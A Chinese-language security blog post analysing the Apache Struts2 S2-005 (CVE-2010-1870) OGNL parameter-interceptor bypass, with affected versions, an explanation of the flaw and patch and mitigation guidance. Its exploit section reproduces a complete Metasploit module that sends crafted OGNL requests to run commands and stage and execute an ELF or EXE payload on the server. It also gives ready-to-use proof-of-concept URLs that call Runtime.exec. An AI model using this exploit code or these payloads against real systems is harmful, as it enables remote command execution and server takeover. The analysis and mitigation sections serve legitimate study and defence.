struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
struts2漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式讲这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork是一个命令模式框架,用于支持Struts 2及其他应用
在Atlassian Fisheye,Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单,远程攻击者可以借助
. #context
. #_memberAccess
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation和其他的OGNL上下文变量
以此来修改服务器端对象,并绕过ParameterInterceptors中的"#"保护机制
Relevant Link:
http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://cve.scap.org.cn/CVE-2010-1870.html
http://www.securityfocus.com/bid/41592/info
2. Effected Scope
VMWare vCenter Orchestrator 4.1
VMWare vCenter Orchestrator 4.0
OpenSymphony XWork 2.1.
OpenSymphony XWork 2.1
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
Cisco Unified Contact Center Enterprise
Atlassian Fisheye 2.3.
Atlassian Fisheye 2.2.
Atlassian Crucible 2.3.
Atlassian Crucible 2.2.
Apache Software Foundation Struts 2.1. .
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3
3. Exploit Analysis
##
# $Id: struts_code_exec.rb -- ::09Z bannedit $
## ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.. This issue is caused by a failure to properly
handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
Bypassing this restriction allows for the execution of arbitrary Java code.
},
'Author' =>
[
'bannedit', # metasploit module
'Meder Kydyraliev', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13584 $',
'References' =>
[
[ 'CVE', '2010-1870'],
[ 'OSVDB', ''],
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jul 13 2010',
'DefaultTarget' => )) register_options(
[
Opt::RPORT(),
OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end def execute_command(cmd, opts = {})
uri = Rex::Text::uri_encode(datastore['URI'])
var_a = rand_text_alpha_lower()
var_b = rand_text_alpha_lower()
var_c = rand_text_alpha_lower()
var_d = rand_text_alpha_lower()
var_e = rand_text_alpha_lower() uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
puts uri
vprint_status("Attemping to execute: #{cmd}") resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, )
end def windows_stager
exe_fname = rand_text_alphanumeric(+rand()) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(+rand()) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end def on_new_session(client)
if target['Platform'] == 'linux'
print_status("deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("delete the #{@payload_exe} file manually after migrating")
end
end def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end handler
end
end
Relevant Link:
http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb
4. Principle Of Vulnerability
XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL的处理方式如下
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能
. Method calling: foo()
. Static method calling: @java.lang.System@exit()
. Constructor calling: new MyClass()
. Ability to work with context variables: #foo = new MyClass()
. And more...
由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行
. OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)
. SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)
但这两个方法可以被覆盖,从而导致代码执行
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java.lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的
. #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
. #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation
可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=
对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,即POC中综合了2种技术,()执行和#编码绕过技术
Relevant Link:
http://book.51cto.com/art/201204/330087.htm
5. Patch Fix
0x1: upgrade struts2
As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.
//访问POC
http://localhost:8080/crazyit/tag1?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=
升级后的struts2加入了拦截器防御逻辑
七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(aaa)(('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))] is too long, allowed length is []
七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
0x2: Mitigation Workaround
Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>
我们知道,struts2是一个高度结构化的组件式的MVC开发框架,这种架构带来了开发的复杂性,但同时也使安全人员利用struts2原生提供的"串行Hook点"向框架中加入"安全过滤器",通过在"安全过滤器"中实现"应用层/代码层WAF"的目的
以上的代码本质上是利用了struts2的"拦截器栈"对HTTP请求进行了过滤,使用这种方案,需要对当前网站所配置使用的拦截器栈加入这段参数过滤配置
For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack
0x3: 手工修复
如果要采取手工修复的方式,需要进行以下步骤
. 修改目标struts2应用的struts.xml文件,在对应的Action中添加新的拦截器,或拦截器栈,或者直接设置成默认拦截器
. 向目标struts2应用的src源代码中添加新的拦截器实现类
. 重启目标struts2应用进程,使拦截器生效
Relevant Link:
http://struts.apache.org/docs/s2-005.html
Copyright (c) 2015 Little5ann All rights reserved
struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution的更多相关文章
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- (转)struts2:数据校验,通过XWork校验框架实现(validation.xml)
转载自:http://www.cnblogs.com/nayitian/p/3475661.html struts2:数据校验,通过XWork校验框架实现(validation.xml) 根据输入 ...
- Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来。Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式语言(OGNL – the Object Graph NavigationLanguage),IoC(Inversion of Control反转控制)容器等。 ----------------
Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来.Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式 ...
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- struts2:数据校验,通过XWork校验框架实现(validation.xml)
根据输入校验的处理场所的不同,可以将输入校验分为客户端校验和服务器端校验两种.服务器端验证目前有两种方式: 第一种: 参考:struts2:数据校验,通过Action中的validate()方法实现校 ...
- struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- 利用struts2的json返回方式来控制jquery.validate的remote框架,进行表单验证
随机推荐
- 阿里云修改默认的ssh端口
Linux服务器的ssh服务支持远程访问服务器,默认的ssh端口号是22.为了安全起见,很多用户会将端口号由22改为其他的端口号. 如果遇到修改端口号并重启ssh服务后,新的端口号不生效,请参考以下 ...
- DirectX11 SDK 例程报错解决方法
下载好DirectX11例程后,VS2015运行不起来,好几个报错 在这里记录一下,虽然挺简单的,但是我想对于像我这样的新手小伙伴们来说还是挺有用的 第一个错误: FXC : error X3501: ...
- ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)
笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷. 上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点. 还是先讲下流程: 1.上传代码页面 我上传的是ashx页面. 2 ...
- Xen
Xen是一个开放源代码虚拟机监视器,由剑桥大学开发.它打算在单个计算机上运行多达128个有完全功能的操作系统. 在旧(无虚拟硬件)的处理器上执行Xen,操作系统必须进行显式地修改(“移植”)以在Xen ...
- 数据库表转javaBean
复制后修改部分代码 package com.study; import java.io.BufferedWriter; import java.io.File; import java.io.File ...
- Dll的显式和隐式调用
建立项目,请选择Win32 控制台项目(Win32 Console Application),选择DLL和空项目选项.DLLs可能并不如你想像的那样难.首先写你的头文件(header file):称为 ...
- 1031MVCC和事务浅析
转自 http://blog.csdn.net/sofia1217/article/details/50778906 关于MVCC浅析,有些难度http://xuebinbin212.blog.163 ...
- Java设计模式(五) 工厂模式
1,定义抽象产品类 package com.pattern.factory; import java.util.ArrayList; public abstract class Pizza { Str ...
- 【CodeVS 1037】取数游戏
http://codevs.cn/problem/1037/ Alice必胜是Alice将硬币移向边权为0的一端并且把经过的边变为0,让BoB无路可走. 这样只要起点到两个方向最近的0边权的端点的边数 ...
- ES6新特性:Javascript中Set和WeakSet类型的数据结构
ES6提供了新的数据结构Set,Set对象不是数组, 可以用来保存对象或者基本类型, 所有保存的值都是唯一的, chrome浏览器>38和FF>13,以及nodeJS,对Set支持良好, ...